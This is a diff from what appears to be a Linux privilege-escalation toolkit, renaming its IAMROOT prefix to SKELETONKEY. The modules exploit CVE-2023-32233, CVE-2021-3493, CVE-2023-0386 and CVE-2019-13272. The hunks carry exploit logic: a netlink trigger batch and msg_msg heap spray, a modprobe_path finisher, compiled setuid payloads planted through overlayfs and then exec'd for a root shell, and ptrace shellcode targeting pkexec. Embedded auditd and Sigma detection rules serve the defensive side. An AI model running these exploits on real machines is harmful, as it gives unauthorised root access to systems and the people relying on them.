@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- --full-chain path: in-process (no fork) so the finisher's
* modprobe_path trigger shares our userns+netns+sock. */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("nft_set_uaf");
return IAMROOT_EXPLOIT_FAIL;
struct skeletonkey_kernel_offsets koff;
skeletonkey_offsets_resolve(&koff);
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
skeletonkey_finisher_print_offset_help("nft_set_uaf");
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&koff);
skeletonkey_offsets_print(&koff);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
if (nft_send_batch(sock, batch, blen) < 0) {
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
free(batch); close(sock);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff,
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
/* drain whatever queues we created during arb-writes */
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
/* --- primitive-only path: fork-isolated trigger -------------- */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* --- CHILD --- */
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
}
if (!ctx->json) {
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
"(tag=%s)\n", sprayed, IAMROOT_TAG);
"(tag=%s)\n", sprayed, SKELETONKEY_TAG);
}
/* Snapshot before. */
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
"likely fired (KASAN/oops can manifest as child "
"signal)\n", WTERMSIG(status));
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
" UAF induced + msg_msg spray landed in\n"
" kmalloc-cg-512. R/W chain NOT executed\n"
" (Option B scope).\n"
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n"
"[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
" for slab-delta breadcrumb. Pass --full-chain\n"
" to attempt modprobe_path root-pop.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc >= 20 && rc <= 25) {
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif /* __linux__ */
}
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
* Cleanup best-effort drain
* ------------------------------------------------------------------ */
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* Best-effort breadcrumb removal. We can't drain msg queues from a
* different process (they live in a private IPC namespace anyway,
* which exited with the child). */
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
/* not fatal */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ------------------------------------------------------------------
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
"# nft scripts rarely DELSET an anonymous set they just created;\n"
"# tune per env for firewalld/podman noise.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n"
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
"# Canonical post-exploit primitives:\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n";
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
static const char nft_set_uaf_sigma[] =
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
"id: 23233e7c-iamroot-nft-set-uaf\n"
"id: 23233e7c-skeletonkey-nft-set-uaf\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
const struct iamroot_module nft_set_uaf_module = {
const struct skeletonkey_module nft_set_uaf_module = {
.name = "nft_set_uaf",
.cve = "CVE-2023-32233",
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
.detect_falco = NULL,
};
void iamroot_register_nft_set_uaf(void)
void skeletonkey_register_nft_set_uaf(void)
{
iamroot_register(&nft_set_uaf_module);
skeletonkey_register(&nft_set_uaf_module);
}
@@ -0,0 +1,12 @@
/*
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
*/
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_set_uaf_module;
#endif
+1 -1
View File
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## IAMROOT role
## SKELETONKEY role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the
@@ -1,12 +0,0 @@
/*
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_IAMROOT_MODULES_H
#define OVERLAYFS_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_cve_2021_3493 IAMROOT module
* overlayfs_cve_2021_3493 SKELETONKEY module
*
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
* inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
* 2. Kernel version is below the Ubuntu fix threshold for that
* release. We don't track per-release Ubuntu kernel version
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
* AND overlayfs mountable from userns (active probe).
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
/* Build a minimal overlayfs in /tmp inside the child. */
char base[] = "/tmp/iamroot-ovl-XXXXXX";
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(base)) _exit(3);
char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
return WEXITSTATUS(status) == 0 ? 1 : 0;
}
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
"userns overlayfs mount succeeded → VULNERABLE\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
"likely patched / AppArmor block\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
"affected range\n", v.release);
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
return false;
}
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerable. */
iamroot_result_t pre = overlayfs_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
}
close(fd);
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
upper_bin);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
unlink(src_path); unlink(bin_path); unlink(upper_bin);
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
static const char overlayfs_auditd[] =
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"# Watch for security.capability xattr writes (the post-mount step)\n"
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
const struct iamroot_module overlayfs_module = {
const struct skeletonkey_module overlayfs_module = {
.name = "overlayfs",
.cve = "CVE-2021-3493",
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs(void)
void skeletonkey_register_overlayfs(void)
{
iamroot_register(&overlayfs_module);
skeletonkey_register(&overlayfs_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
#define OVERLAYFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_module;
#endif
@@ -16,7 +16,7 @@ Public PoC + writeup:
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
## IAMROOT role
## SKELETONKEY role
Distro-agnostic — no per-kernel offsets, no race. Places a setuid
binary in an overlay lower, mounts via fuse-overlayfs userns trick,
@@ -1,12 +0,0 @@
/*
* overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_setuid_module;
#endif
@@ -1,5 +1,5 @@
/*
* overlayfs_setuid_cve_2023_0386 IAMROOT module
* overlayfs_setuid_cve_2023_0386 SKELETONKEY module
*
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: when overlayfs
@@ -38,7 +38,7 @@
* for any distro running 5.11-6.2 kernels. Container-escape relevant.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
return NULL;
}
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.11 when ovl copy-up was generalized.
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
const char *target = find_setuid_in_lower();
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Embedded payload + exploit ---------------------------------- */
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
return ok;
}
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Pick a setuid binary to use as the carrier — we'll find its
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
const char *carrier = find_setuid_in_lower();
if (!carrier) {
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* For cleanliness, use a directory-level overlay. Find the carrier's
* dirname. (E.g., /usr/bin/su lower = /usr/bin/, file = su) */
char carrier_dir[256], carrier_name[64];
const char *slash = strrchr(carrier, '/');
if (!slash) return IAMROOT_PRECOND_FAIL;
if (!slash) return SKELETONKEY_PRECOND_FAIL;
size_t dir_len = slash - carrier;
memcpy(carrier_dir, carrier, dir_len);
carrier_dir[dir_len] = 0;
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
workdir, carrier);
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
rmdir(workdir);
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
/* Build the payload binary outside the overlay. */
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
upper_carrier);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fflush(NULL);
execl(upper_carrier, upper_carrier, (char *)NULL);
@@ -358,26 +358,26 @@ fail:
unlink(src_path); unlink(bin_path);
rmdir(upper); rmdir(work); rmdir(merged);
rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n");
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
}
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n";
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
const struct iamroot_module overlayfs_setuid_module = {
const struct skeletonkey_module overlayfs_setuid_module = {
.name = "overlayfs_setuid",
.cve = "CVE-2023-0386",
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
.detect_falco = NULL,
};
void iamroot_register_overlayfs_setuid(void)
void skeletonkey_register_overlayfs_setuid(void)
{
iamroot_register(&overlayfs_setuid_module);
skeletonkey_register(&overlayfs_setuid_module);
}
@@ -0,0 +1,12 @@
/*
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_setuid_module;
#endif
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## IAMROOT role
## SKELETONKEY role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
@@ -1,12 +0,0 @@
/*
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
*/
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
#define PTRACE_TRACEME_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module ptrace_traceme_module;
#endif
@@ -1,5 +1,5 @@
/*
* ptrace_traceme_cve_2019_13272 IAMROOT module
* ptrace_traceme_cve_2019_13272 SKELETONKEY module
*
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
* vulnerable.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
sizeof(ptrace_traceme_patched_branches[0]),
};
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (jannh-style) --------------------------------------
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
* shellcode that exec's /bin/sh.
* 10. C resumes P root shell.
*
* IAMROOT implementation simplifies by using a small architecture-
* SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available.
*
* Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here operator
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns).
*/
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
return NULL;
}
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
iamroot_result_t pre = ptrace_traceme_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
const char *setuid_bin = find_setuid_target();
if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
